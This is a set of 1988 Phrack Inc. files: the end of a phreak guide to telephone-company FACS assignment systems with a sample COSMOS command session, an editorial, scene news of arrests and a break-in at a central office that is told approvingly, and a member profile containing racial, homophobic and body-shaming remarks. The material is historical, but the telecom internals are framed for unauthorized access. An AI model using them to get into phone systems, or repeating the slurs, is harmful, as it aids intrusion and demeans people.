PREMIS, as far as I know, does not have any direct dialups so don't get your hopes up high. There may be other ways to access information in PREMIS however.

SOAC

‑‑‑‑

The SOAC system is what interfaces FACS with the BOC SOP (Service Order Processor). The SOP is what the service reps enter SO information into and the SOP sends the data entered to the SOAC system. The SOAC system interprets and validates this input data.

SOAC generates Assignment Requests (ARs) which are sent to LFACS and COSMOS (see respective sections of this file) to request outside plant (OSP) and CO facility assignments, respectively.

SOAC receives AR Responses (ARRs) from LFACS and WM/COSMOS and merges this data and formats the output into a Universal Service Order (USO) assignment section. This USO is returned to the SOP after SOAC has processed it.

SOAC returns status information and error notification to the SOP. Status information is what tells the service rep who entered the data into the SOP whether or not FACS can process that Service Order. Error notifiers are sent back to the SOP when part of the SO is in error.

SOAC keeps record of status and control information on all SO requests, as well as the input image and specific data that came from processing. This information, along with the input image and processing results are referred to as the pending assignment data.

SOs do not automatically flow through SOAC in all cases. SOAC can analyze an order to determine if manual assistance is required, and if it is, a Request for Manual Assistance (RMA) notice is sent to the LAC. LAC personnel will use SOAC, and possibly other systems in FACS, such as COSMOS/WM and LFACS, to complete the assignment on that SO.

SOAC also may receive COSMOS system output from certain commands. One such command may be the IJR command, which sets up a circuit for jeopardy status. Jeopardy status means that the assignment looks as if it will be (or already is) behind schedule for completion. An example of this is as follows (showing COSMOS messages).

WC% IJR

H ORD nxxxxxxxx/TN nxx‑xxxx/JR nx

RMK NEED TIE PR FOR nxx

‑.

**ORDER nxxxxxxxx HAS BEEN GIVEN JEOPARDY STATUS CKTID: TN nxx‑xxxx

**JEOPARDY REASON: nx mm‑dd‑yy hh:mm

OUTPUT SENT TO SOAC

**IJR COMPLETED mm‑dd‑yyy hh:mm

The H‑line input is the SO number, where n can be alphabetic and x can be numeric. TN is the affected telephone number, JR is the Jeopardy Reason, which is a one alpha/one numeric code, RMK is a ReMarK, in this case, a tie pair is needed. The section that starts and ends with two asterisks is the COSMOS output, and the rest of the information should be self‑explanatory.

LFACS

‑‑‑‑‑

The LFACS system keeps an inventory of outside loop plant facilities, such as cables (CA), cable pairs (CP), serving terminals, interconnecting points, cross‑connecting terminals, and things of that nature which should be known to the serious phreak. By the way, if you want to get some very good information about the outside loop plant, look for Phucked Agent 04's article in the LOD/H Technical Journal issue number 1. These are excellent files and I recommend that every phreak read them if they haven't already. Anyway, LFACS also assigns the outside loop plant facilities to ARs received from SOAC as a result of customer SO activity. The assignment process is automatic on 95% of the service requests.

LFACS provides a computerized version of DPAC and ECCR (Dedicated Plant Assignment Cards and Exchange Cable Conductor Records respectively) which were previously physical records that were stored at the LAC. The information stored in DPAC is information such as data about a Living Unit Serving Terminal, and Living Unit Dedicated Loop Facilities, and ECCR contains information such as Pair Selection, Add/Break count, Line and Station Transfer, as well as Work Order (WO) information. Some of this information may be used by the LAC Field Assistance Bureau to assist the outside plant craft in obtaining necessary information.

When conditions necessary for LFACSS to automatically respond to a SOAC AR are not met, a RMA noticed is generated in the LAC. Appropriate people in the LAC will interact with LFACS, and maybe SOAC and WM/COSMOS to complete the process of assignment.

COSMOS

‑‑‑‑‑‑

COSMOS has been written about many times, so I will not go into deep detail about this system as many people are already familiar with it.

COSMOS keeps a database inventory of CO facilities (such as TN, CP, OE, CS, BL ‑ telephone number, cable pair, office equipment, class of service, bridge lifter respectively) and assigns these facilities to ARs received from SOAC as a result of customer SO activity.

COSMOS assists the Network Administration Center (NAC) and Frame Control Center (FCC) in managing, controlling, and utilizing the MDF and COE, as well as CO facilities and circuits. COSMOS does assignment of TNs, line equipment, jumper use/reuse, TP management, frame work management, and other things of that nature.

When the conditions are not met for COSMOS to respond to a SOAC AR, a RMA is generated in the LAC (as with the other systems mentioned in this article). The LAC can then use WM/COSMOS, SOAC, and LFACS to complete assignment.

WM

‑‑

The WM is what links one set of SOAC/LFACS systems with one or more COSMOS systems. All input to COSMOS from the LAC is directed through the WM. The WM provides message switching, load control, and other functions to the LAC.

‑EOF‑

RC:LINE;CHNG!/ORD 1/TN LOD‑LOD‑LODH/ESM YES/ESX YES/ESL YES/RC:TRK!/TNN $LOD$.

I hope the information presented in this article has been of interest to all who read it. I have not included as much information as I could have, some sensitive information has not been included because it could cause problems. My personal thanks goes out to the fine people who designed the FACS system, as well as to all the telephone companies in existence, for without you, phone phreaks would not exist. Thank you for allowing us access to your networks, although this access is taken rather than given. Try hiring a phreak sometime, it might be beneficial.

A note to telecom/computer enthusiasts who read this article: DO NOT SCREW ANYTHING UP! IF YOU ARE NOT RESPONSIBLE ENOUGH TO USE THIS DATA IN A WISE AND NON‑ABUSIVE WAY THEN DISCARD THIS ARTICLE NOW AND PRETEND LIKE YOU NEVER READ IT.

This has been a presentation of THE LEGION OF DOOM! (C) 1988+

Phrack Editorial on Microbashing

==Phrack Inc.==

Volume Two, Issue 19, Phile #6 of 8

Phrack Editorial on Microbashing

================================

I was toying with the idea of writing a history of the Microcomputer Revolution, viewed through the eyes of one who lived through it, perhaps with some recollections of a Telecommunications Hobbyist thrown in for spice.

Upon reflection however, I thought that I might use this forum to address a problem that has bothered me for some time. I refer to the phenomena of microbashing.

This is, in my opinion, a serious problem in the MicroUnderground.

For the record, I'm 36 years old, I have been screwing around with computers, Mainframe, Mini and Micro since 1976/77. I built an Altair 8800 way back when, and wrote what may have been the first software pirating program. (Something that mass produced papertape copies of Bill Gates' Altair BASIC). I also built a TV Typewriter based on Don Lancaster's designs, and a 100 baud modem to go along with it. For the record, I use a Commodore 64 computer. I have a 1200 baud modem, two disk drives, a spiffy printer and a color monitor. For the record, I sold an Apple //e to buy the C64. I have never regretted

that decision.

Now, there are those who will read that last sentence and say to themselves, "Fuckin' Commie user! He SOLD an Apple to buy a Commie? What an asshole!" Now, I could say to the Apple //e user who thinks that, "You poor boob! You

spent all that money for a //e! Plus all that extra cash for plug in cards so

it can do what my C64 has built in? Geeze! Some folks need keepers!"

That, Gentle Readers, is microbashing. So, in the space of a few minutes, this hypothetical exchange has engendered ill feelings, if not outright hostility. What a waste of time and effort! We both have powerful computers that I could not even begin to imagine could exist 12 (12!) years ago. My Altair had 16k of RAM in it, and I thought that was hot stuff! Most folks only had 4 to 8k in their homebrew micros. I even had a disk drive! A huge monster that weighed 20 pounds, used 8 inch single sided disks that had all of 120k of storage. This whole system, complete with TeleType (my terminal/printer) cost about $5000 in 1977 dollars. In 1988 dollars, maybe $15000. (My little C64 system, total cost less than $1000 just blows that Altair/Teletype out of the water).

What are the roots of microbashing? I'm not sure, but here are some thoughts.

Status, I'm sure, plays a major role in microbashing. A C64/128 will always cost less than an equivalent Apple //e system. "My computer cost more than

your computer! Therefore, my computer is better! Nyah!" By that logic, my old $5000/$15000 Altair is a better computer than most Apple machines. Patently ridiculous, isn't it? (I've noticed that there is now a Let's Bash the //e subculture developing among the Mac Plus, SE and II crowd, along with

//gs users. I do take a perverse pleasure, I'm sorry to say, with all this.

The shoe is now on the other foot, eh?)

Conformity, particularly among the teenage/young adult users, might also be a factor. "Everyone important uses Apples. Only gameplayers use Kmart toy computers. If you don't use an Apple, you ain't shit!" The peer pressure of Conformity is a powerful thing.

A mate of mine in the Computer Services department at Harvard has a Mac II on his desk at work and a Mac Plus at home. Another friend has a Zenith AT clone at his office at the Mitre Corporation in Maryland and an Apple ][+ at home. A good friend of mine who's an editor at a major disk‑based publication had a //gs given to him by Apple. All these guys are high powered computer users.

The guy at Harvard is their UNIX wizard. The fellow in MD is a GS‑13 employed by the Air Force as a general purpose MS‑DOS/ADA wizard, and just spent $1000000 to fund distributed processing research at Los Alamos. The last person is the Apple edition editor at this publication. Not a single one of them wastes a second denigrating my C64. Now, if these guys consider me a peer, an equal, (and they do!) and they don't care what computer I use, why do some //e users waste their time and energy putting down the C64?

A third factor may be the sneaking suspicion that, "Geeze! If a C64 can do all that, why did I spend all that money on an Apple?" Guilt and self doubt can be a powerful factor in microbashing. "If I put Commies down enough, maybe other people will buy Apples and then I won't be the only one who has one." Psychologists call that "Transference." Transferring the negative feelings/doubt about oneself to something else and then denigrating that something else. The Old Testament calls it a "Scapegoat."

I suppose what I'm finally trying to say is let's all grow up and stop this foolish bickering and sniping. No one profits, and we all lose. We lose time, information, disk space on BBSs, companionship and fun! I don't like to see some Apple user bashing Commodore. Neither do I enjoy seeing a C64 user bashing a TI user, as I dislike watching that TI user make fun of someone with an Adam. Don't you think we have more important things to do than make mountains out of molehills when it comes to our respective computers?

I do. If we can't act any better than a kindergarten kid whining over a toy, then maybe we don't deserve these powerful tools we have sitting on our desktops.

Written by THE NIGHTSTALKER, June, 1988.

Phrack World News XVIV (Part 1)

==Phrack Inc.==

Volume Two, Issue 19, Phile #7 of 8

PWN PWN PWN PWN PWN PWN PWN PWN PWN PWN PWN PWN PWN

PWN PWN

PWN >>>>>=‑* Phrack World News *‑=<<<<< PWN PWN Issue XVIV/1 PWN

PWN PWN

PWN Created by Knight Lightning PWN PWN Written and compiled by Knight Lightning PWN

PWN PWN

PWN PWN PWN PWN PWN PWN PWN PWN PWN PWN PWN PWN PWN

>From The Creators Of Phrack Incorporated...

The Phoenix Project

>>>>>>>>>>>

‑=‑=‑=‑=‑‑=‑=‑=‑=‑=‑=‑=‑=‑=‑=‑=‑=‑=‑=‑‑=

Just what is "The Phoenix Project?"

Definition: Phoenix (fe/niks), n. A unique mythical bird of great beauty fabled to live 500 or 600 years, to burn itself to death, and to rise from its ashes in the freshness of youth, and live through another life cycle.

Project (proj/ekt), n. Something that is contemplated, devised, or planned. A large or major undertaking. A long term assignment.

‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑

Why is "The Phoenix Project?"

On June 1, 1987 Metal Shop Private went down seemingly forever with no possible return in sight, but the ideals and the community that formed the famous center of learning lived on. On June 19‑21, 1987 the phreak/hack world experienced SummerCon'87, an event that brought much of the community together whether physically appearing at the convention or in spirit. On July 22, 1987 the phreak/hack community was devastated by a nationwide attack from all forms of security and law enforcement agencies...thus setting in motion the end of the community as we knew it. Despite the events of July 22, 1987, PartyCon'87 was held on schedule on July 26‑28, 1987 as the apparent final gathering of the continent's last remaining free hackers, unknown to them the world they sought to protect was already obliterated. As of August 1, 1987 all of the original members and staff of the Metal Shop Triad and Phrack Inc. had decided to bail out in the hopes that they could return one day when all would be as before...

THAT DAY HAS COME...

A new millennium is beginning and it all starts on July 22, 1988. How fitting that the One year anniversary of the destruction of the phreak/hack community should coincidentally serve as the day of its rebirth.

Announcing SummerCon '88 in (where else would you expect) St. Louis, Missouri!

Knowledge is the key to the future and it is FREE. The telecommunications and security industries can no longer withhold the right to learn, the right to explore, or the right to have knowledge. The new age is here and with the use of every *LEGAL* means available, the youth of today will be able to teach the youth of tomorrow.

‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑

SummerCon'88 is a celebration of a new beginning. Preparations are currently underway to make this year's convention twice as fun as last year's and the greater the turnout the greater the convention shall be. No one is directly excluded from the festivities and the practice of passing illegal information is not a part of this convention (contrary to the opinions of the San Francisco Examiner, and they weren't even at the last one). Anyone interested in appearing at this year's convention should leave mail to Crimson Death immediately so we can better plan the convention for the correct amount of participants.

The hotel rooms purchased for SummerCon'88 are for the specified use of invited guests and no one else. Any security consultants or members of law enforcement agencies that wish to attend should contact the organizing committee as soon as possible to obtain an invitation to the actual convention itself.

Sorry for the short notice this year...

:Knight Lightning "The Future Is Forever"

‑=‑=‑=‑=‑‑=‑=‑=‑=‑=‑=‑=‑=‑=‑=‑=‑=‑=‑=‑‑=

Phrack World News XVIV (Part 2)

==Phrack Inc.==

Volume Two, Issue 19, Phile #8 of 8

PWN PWN PWN PWN PWN PWN PWN PWN PWN PWN PWN PWN PWN

PWN PWN

PWN >>>>>=‑* Phrack World News *‑=<<<<< PWN PWN Issue XVIV/2 PWN

PWN PWN

PWN Created by Knight Lightning PWN PWN Written and compiled by Epsilon PWN

PWN PWN

PWN PWN PWN PWN PWN PWN PWN PWN PWN PWN PWN PWN PWN

Doc Holiday In Legal Trouble

=== ======= == ===== =======

One night, Doc Holiday 713 decided to visit his CO. This CO was surrounded by a fence with barbed wire on top. He climbed over the fence with ease and looked around the perimeter of the building for any cameras. When he was sure that there were no cameras, he decided to try entering through the back door. To his surprise, the back door was unlocked [Hey, at least he didn't get charged with breaking and entering, right? ‑Epsilon], and he entered the building. He looked around a bit, past some boxes full of test sets and cable. This got boring, so he headed down to a room with some terminals and a large control panel. The instructions for using the terminal were taped to the side of the desk, so he tried them out. He had fun monitoring phone lines and testing other subscribers' touch tone polarity, and he decided to get out of the building.

On his way out of the building, he came across a box that was labeled with something to the effect of 'Switching Unit'. He didn't bother to look inside the box, because he was in a hurry to get out of the building, so he opted to take the box home, then look inside. When he opened the door to leave, he saw a flashlight waving around in the dark. He got scared and set the box down [Incidentally, this door that he got in through was at the top of a stairway at the back of the building, outside. ‑Epsilon]. The box was unstable, and rolled down the stairs, probably causing damage to whatever was inside. He tried to run down the stairs and climb over the fence. He found that the police were outside the fence, and he proceeded to run. A policeman shouted at him to stop, and threatened to shoot him, so he dropped. He was apprehended and taken to the police station.

He had learned that the police knew about his whereabouts, because he had tripped a silent alarm, probably upon entering the building.

At the station, they questioned him. He was getting fed up, and said he was going to leave the station. He started to leave, when a policeman grabbed him and kneeing him, broke his rib. They then, after some persuasion, took Doc to the hospital.

He is at home now, and awaiting a hearing. This little tiff is not expected to affect his hacking activities.

Information Provided By Doc Holiday

________________________________________

The Disk Jockey...Busted!

=== ==== ================

The Disk Jockey, whom we all knew, was arrested for 22 counts of aiding a fraud and other miscellaneous charges last Friday. He is now in jail and is being held for $150,000.00 bail [Yes, that's right. One‑hundred‑fiftythousand dollars. ‑Epsilon].

This incident was believed to have been caused by a 'phreak' by the name of White Lightning (616), who informed Sprint Security that The Disk Jockey was using their service illegally.

He is now awaiting a court date, and is unavailable for questions.

Information Provided By Compaq (219)

________________________________________

SummerCon '88

========= ===

We at Phrack Inc. are proud to present SummerCon '88. The convention will take place at the Westport Ramada Inn in St. Louis, Missouri the week‑end of July 22nd. The Con is expected to be held from Friday afternoon to Sunday afternoon. Please contact us, via the Phrack accounts, or the Phrack In. VMS at (800)331‑8477, * #, Ext. 6660, if you plan to attend. Illegal information at this CON is not encouraged. Thank you.

Information Provided By Knight Lightning

________________________________________

PWN Quicknotes

=== ==========

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

The first step in what is called The Phoenix Project, which is a re‑birth of the hack/phreak community is underway. This first step is a public education bulletin board system dedicated to teaching the public about telecommunications and computer systems. The board is called The Phoenix Project, and the number is (512)754‑8182. No illegal information is to be posted on this system. Our SysOp is The Mentor. Thank you, and call if you're interested.

Information Provided By The Mentor

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

Rumor has it that a new group is forming in the hack/phreak community. This group is looking for about eight skilled members who have diverse interests. If you think you are qualified, and are interested, please contact Doc Holiday on any BBS he is on. Thank you.

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

Control C of 313 was NOT busted, contrary to popular belief. This is all a big confusion, and we will let you know how this started in a future issue. Until then, please, don't spread the rumor around anymore.

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

========================================

20

- Phrack XX Index by Knight Lightning & Taran King

- Phrack Pro-Phile XX on Taran King by Taran King

- Timeline Featuring by Cheap Shades & Knight Lightning & Taran King

- Welcome To Metal Shop Private by Cheap Shades & Knight Lightning & Taran King

- Metal/General Discussion by various

- Phrack Inc./Gossip by various

- Phreak/Hack Sub by various

- Social Engineering by various

- New Users by various

- The Royal Court by various

- Acronyms by various

- Phrack World News XX Featuring SummerCon '88 by Phrack Staff

Phrack XX Index

==Phrack Inc.==

Volume Two, Issue 20, File 1 of 12

Phrack Inc. Newsletter Issue XX Index

~~~~~~~~~~~~~~~~~~~

Welcome to Phrack XX, the end of the old and beginning of the new. The original hard luck heroes are back from retirement (or are they?). Originally, this was going to be an issue put out by Crimson Death to show what the end of Metal Shop Private was all about as well as to end the association of Metal Shop with Phrack Inc., but things just didn't seem to quite happen that way. As of today, October 12, 1988, Knight Lightning and Taran King are once again the chief editors of Phrack Inc. with the help of Epsilon and The Prophet. This particular issue is dedicated to Metal Shop Private. Most of the files, with the exception of this Index, the Phrack Pro‑Phile on Taran King, the Timeline, and Phrack World News XX, all files contain the contents of Metal Shop Private as of the day it went down with a few exceptions. Because of the "Days until deletion" function, many of the messages were lost when we ran the board again. Most, if not all, subboards were filled close to the 100 message mark. We apologize for not being clever enough to predict the results of running the program after such a long time, but you should get a good idea of what went on within the domain of Metal Shop Private. We hope you enjoy it, and be watching soon for Phrack XXI. Good to be back!

Taran King and Knight Lightning

=‑=‑=‑=‑=‑=‑=‑=‑=‑=‑=‑=‑=‑=‑=‑=‑=‑=‑=‑=‑

This issue contains the following files;

1. Phrack XX Index by Taran King and Knight Lightning

2. Phrack Pro‑Phile XX on Taran King

3. Timeline Featuring Taran King, Knight Lightning, and Cheap Shades 4. Welcome To Metal Shop Private by TK, KL, and CS

5. Metal/General Discussion

6. Phrack Inc./Gossip

7. Phreak/Hack Sub

8. Social Engineering

9. New Users

10. The Royal Court

11. Acronyms

12. Phrack World News XX Featuring SummerCon '88

^*

Phrack Pro-Phile XX on Taran King

==Phrack Inc.==

Volume Two, Issue 20, File 2 of 12

==Phrack Pro‑Phile XX==

Written and Created by Taran King

1/5/88

Welcome to the Phrack Pro‑Phile XX. Phrack Pro‑Phile was created to bring info to you, the users, about old or highly important/controversial people. This month, I bring to you someone who you all have seen and heard of...

Taran King

~~~~~~

(me!)

Taran King (I) was the sysop of Metal Shop Private, a private exchange for telecommunications enthusiasts (phone phreaks and hackers) as well as being the home‑base of Phrack Inc. which I ran. I also had a hand in the organization of SummerCon '87 and PartyCon '87.

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

Personal

~~~~~~~~

Handle: Taran King

Call him: Randy, Randster, Randall, whatever (real name is Rand) Past handles: None

Handle origin: The main character in The Chronicles of Prydain by Lloyd Alexander

Date of Birth: 7/11/69

Age at current date: 19 years old

Height: 5'10" or so (give or take an inch) Weight: 135‑140 lbs. (I hate fat people) Eye color: Brown

Hair Color: Brown

Computers: IBM PC, later with a hard drive added. Sysop/Co‑Sysop of: Metal Shop Private, The Brewery, Quick Shop/Metal Shop AE, Whackoland, The Dark Tower, Digital ITS (proud of that one) and probably a few more I've forgotten about.

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

I started out in the BBS world in September of 1983 when a friend gave me numbers to different modems which included things to hack on as well as bulletin boards. I actually got my computer in late June of that year, but didn't understand the concept of the modem until that point. I got involved with David Lightman (314)'s board before it went up by beta‑testing it for him at times and when he put it up, I ended up being user 2 and then soon after, co‑sysop of The Dark Tower. It was there that my local notariety became strong and a few people from the nation started calling in. His board was very good with what he had and the little advertising that it got, but it eventually went down. It was at that point when I started getting around nationally and was able to make connections of my own. I put up Metal Shop: The Dark Tower Phase II a bit after because St. Louis totally lacked bulletin boards that dealt with hacking or phreaking. I advertised around the country and drew in quite a crowd. The board excelled with time to the point of having around 500 users when it got to be a security risk in my eyes and we put in the general password system (made by Cheap Shades, of course). Eventually, that crowd got weeded down to a lot fewer people and some time after that, I was hospitalized. After my release from the hospital, Cheap Shades and I (me on the ideas and Shades on the programming) created a modified version of WWIV BBS program to suit my wants/needs and it resembled the old Shop set‑up. As time went on, it became a name of its own through the crowd that hung out on it as well as having Phrack Inc. as being based there. For more detailed explainations of how things came about and about a few things mentioned above, see the big history file in this issue of Phrack Inc. I've met a few members of the phreak/hack world including the following: Knight Lightning, Cheap Shades, Forest Ranger, The W(hack)o Cracko Bros., Dr. Forbin, Data Line, and Reverend Enge (all local to me), as well as Jester Sluggo, Blue Buccaneer, Phantom Phreaker, Doom Prophet, Bill from RNOC, Tuc, Dan The Operator, Lex Luthor, The Leftist, Sir Francis Drake, Loki, Disk Jockey, Control C, Synthetic Slug, Lucifer 666, Mad Hatter, Cutthroat, The Mad Hacker (219), Sir William, Dr. Cypher, Hatchet Molly, Bad Subscript, The Mentor, Cisban Evil Priest, Phrozen Ghost, Surfer Bob, Crimson Death (618), The Dictator, Doc Holiday (901), and The Ur‑Vile. Some of the memorable phreak boards I was on (besides my own) included The Dark Tower, The Pipeline, Broadway Show, Zyolog, Stronghold East Elite, Stronghold North, Hell Phrozen Over, Private Sector, Pirate‑80, Stalag 13, Lunatic Labs UnLtd., Quick Shop, Metal Shop Brewery, NetSys, The Private Connection, ShadowSpawn, RACS III, The Pearly Gates, Brainstorm Elite, Metalland North, The Alliance, Intergalactic Dismantling, Inc. (IDI), DUNE, Speed Demon Elite, The Abyss, MetroMedia/Danger Zone Private, The Matrix, Thieve's World, FreeWorld II, Flying Circus, Twilight Zone, Septic Tank, The Lost City of Atlantis, Phantasie Realm, CHAMAS, and probably a few others I forgot that were important. Certain knowledge I've gained over the years is attributed to various boards forementioned as well as people like Bill from RNOC, Phantom Phreaker, Doom Prophet, The Videosmith, and many others not to mention reading (a key part to learning technical things) and social engineering.

I utterly hate working with computers for anything other than communicating with friends and occasionally word processing. Programming on them is the most repugnant thought in the world to me (no offense Shades!).

I've really never been much for hacking at all, although I did gain a bit of an interest through the legitimate accounts I gained on systems such as NetSys run by Terminus in Maryland. Hacking was never really much for me (besides looking at things on dull systems that were totally useless) when I first got the modem. Now that I'm at college and have access to it, I'm learning VM/CMS a bit so that I can use Bitnet and work through/with it.

I attended and had a part in organizing both SummerCon '87 and PartyCon '87 (very much in SummerCon and very little in PartyCon). I also attended SummerCon '88 for a little while on each of the days except Sunday. I was supposed to be on the NEW TAP staff, run by the W(hack)o Cracko Bros. as well as being on the staff of Telecomputist (which sponsored SummerCon '87) and doing all but writing articles for Phrack Inc. Other than that, I'm not terribly involved with phreaker/hacker media.

The only group I was ever in was The 2600 Club! which later revised into The NEW 2600 Club! which was just as ignorant with more interesting names but about an equal participation in anything. I learned I was able to advance through the phreak world without the booster of a club besides using my board as a reference. I didn't need to rely on the work of others.

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

Interests: Telecommunications (basically phreaking knowledge‑wise now), music (heavy metal of all sorts plus so much more and playing electric guitar), fraternity life (party), women (white ones, blond, with blue eyes, and NO FAT CHICKS! Namely, Kimberly), driving (and one day, I'll drive that fucking DeLorean!)

Taran's Favorite Things

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

Women: Kimberly (see above...I went all out!) Cars: Lamborghini Contachs, DeLoreans, Lotuses, Vectors, etc. Foods: NO VEGETABLES!

Music: Heavy metal, Pink Floyd, classic rock. Leisure: Partying, playing guitar, spending time with the woman. Alcoholic fun: Tequila shots, Rum & Coke, good beer (pretty much anything), Long Island Tea, and those funky teas you find at college parties in garbage cans lined with garbage bags (hmm!)

Most Memorable Experiences

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

Forest Ranger's conferences (what would YOU do for a Klondike Bar at 3am?). Car accident with Jester Sluggo as well as almost a 2nd time afterwards (keep drinking!).

Bell Shock Force conferences (yes ma'am, I'm sorry but you'll just have to cut those wires)

Getting busted in late May '87 (don't try it, it ain't fun). SummerCon '87 (a better party than PartyCon '87, met a lot of great people). PartyCon '87 (a lot of fun, but too unorganized although I met a few more people that I had wanted to).

SummerCon '88 (wait, did I attend that???).

Some People to Mention

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

Knight Lightning (my right hand man; although he wasn't terribly knowledgeable, he was always there and trying to help out and still is!|)

David Lightman 314 (for allowing me to use his program to start what turned out to be Metal Shop Private)

Man‑Tooth (my original 2nd co‑sysop next to KL who drove me down to David Lightman's house in South‑fucking‑County St. Louis for 30 minutes) Dr. Forbin/Mr. Modem (for re‑transferring the original program after something got fucked after the ride to South‑fucking‑County)

Forest Ranger (wild man, can't say much about him without getting hurt|) Phantom Phreaker (we found ya for 2600 Club and you excelled far beyond any of the rest of us in the club did, plus you helped my board immensely) Barbie Doll (for suggesting the idea of Phrack Inc. in different words even if nobody knows what or who you were or where you were from) The W(hack)o Cracko Bros. (what a couple of idiots)

Oryan Quest (never has there been as bad a pest as this man, but he turned out to be human Mexican, but human| after we were both busted, interestingly enough)

Lex Luthor (for freaking me out when he first called my board and contributing a bit here and there)

Capt. Hook (taught me a bit about social engineering here and there and introduced me to a few people as well as helping out a couple of times)

Cheap Shades (what would Metal Shop have been without the programming mastery of this individual; my left hand man and great friend as well) Tuc (generally a good friend and historical reference as well as creating the Pro‑Phile that I based the rest of them on)

Bill from RNOC (another one of my best friends who is the smartest person potentially, and definitely the smartest when it comes to phreaking and hacking put together; a great source of information, and one of the most hilarious people I know)

Olorin The White (if this guy puts me in his group one more time, I'm gonna kill him!)

Inside Jokes

~~~~~~~~~~~~

Mary likes corn. Are you stupid (corn, cheese, free)? Supervisors at Pizza Hut? Essscuse me Mr. Corley, but I was juss lookin' fo sum bonez...I'm Bosco. What's the worse that could happen? Smoke. Raggy! Raggy! HeeheeHEEHeeheehee hee. KS‑KS‑KS <Gulp!>. Do you know any phreaks who carry around their own trunks. IIIII Like Chi‑Nese! Listing for Dalkon Shields please. I know that's a blue box! Hello, security? Do we have a trace? We do. Good. <LAUGHTER!>. AMD. We make display. We're hopping on a plane now and coming to Maryland to kick your ass! For $20 I'll sell you 5 lbs. of baking soda. Doesn't he look like The Fly? You almost just hit the car again! Keep drinking! It was the other side of the car this time! Keep drinking! Do you know what your aunt would do to you if you got in another accident? Keep drinking! I hate it when your dick hits the water in the bottom of the urinal, don't you? But what do you think about it? But what do you think about it? But what do you think about it? And a complimentary beer comes with the room. Domino's dude! Ya wanna get paid? Run to me boys. Guess where I'm calling from? NO! NO! COCKSUCKER! I'mLuckyI'mLuckyI'mLucky! But first off, do you have Karl Marx's phone number? Dude. NAA. Dude. NAA. Dude. NAA. The meat was SOOOO tender, it just slid off the bones. Chicken. Hey, you know like you have a little piece of wire hanging down from your nose? Jolly Green Faggot. That made me pucker my lips. Sweet. Baksketball Jones. HAHAHAHAHA<fart>HAHAHAHA. You Bonehead. I would have reached my hand in but I had just finished deficating. Dan, you're too thin for your voice. You can almost hear the dogs across the street barking. I only want to know two things: 1) How do you blue box off of CCIS and 2) how do you remotely take total control of LMOS? NO! I'M BIOC! <STAMP> BIOC <STAMP> BIOC <STAMP> BIOC. "BIOC Agent 003 was arrested today for stamping his name on his RA's forehead."

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

I'm against pretty much all forms of fraud now that I've spent the night in jail, the summer of '87 in pain and waiting, and will spend the next 3 years of my life on probation. I'm not informing to anyone about anything if you have thoughts about that statement, but I have no part in anything fraudulent. I've always thought that carding was the most stupid crime connected with computers and that it's too risky to be worth it in the end. I hope that the future phreaks and hackers keep around and retain what's been built up over the many years since long before I'd heard of phreaking or hacking.

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

I hope you enjoyed this file. Although I had at one time intended on this being my last Pro‑Phile, it's actually the first of many to come...And now for the regularly taken poll from all interviewees.

Of the general population of phreaks you have met, would you consider most phreaks, if any, to be computer geeks? Generally, the cool ones aren't, but of course, in every large group of people, you'll probably find a few geeks here and there. Thanks for your time, Randy. No problem, Randy.

Taran King

Timeline Featuring

==Phrack Inc.==

Volume Two, Issue 20, File 3 of 12

Phrack Inc./Metal Shop Private Timeline

~~~~~~~~~~~~~~~~~~~~

Winter 1982 ‑ CS gets computer system (TI‑99)

Summer 1983 ‑ TK gets computer system

Fall 1983 ‑ Andy Kutner gave TK phone numbers to local BBSes, mainframes, and MCI/Sprint dial‑ups; KL gets computer (no modem yet) and gets into pirating

February 1984 ‑ David Lightman 314 puts up The Dark Tower, TK becomes co‑sysop

March 1984 ‑ KL gets modem, becomes Dark Tower Co‑sysop

March 1985 ‑ CS gets modem, enters phreak/hack scene through Man‑Tooth by giving Shades first BBS list

June 1985 ‑ 2600 Club formed on Laserbeam, local board with phreak/hack subs

July 1985 ‑ Phone line installed, Metal Shop: The Dark Tower Phase II arises with KL and Man‑Tooth as co‑sysops; Dr. Forbin/Mr. Modem helps out through ideas on The Forbin Project plus helping by sending source to TK after original screwed

August 1985 ‑ Dark Tower rearises and struggles against MS for a while, but failed and downed within 1 month; CS gets IBM XT set‑up

September 1985 ‑ "Dark Tower Phase II" dropped, making the board Metal Shop

November 17, 1985 ‑ Phrack Inc. formed as a newsletter based around 2600 Club

December 1985 ‑ The New 2600 Club formed; 2601 Club, etc; 2600 Club totally dissolved; MS AE goes up

January 2, 1986 ‑ Metal Shop becomes MSP

January 1986 ‑ Phrack World News (Phreak World News) starts

February 1986 ‑ Whackoland goes up; Whackoland Gazette idea started, developed into New Tap which was going to be sponsored by MSP as well as others; Telepub '86.

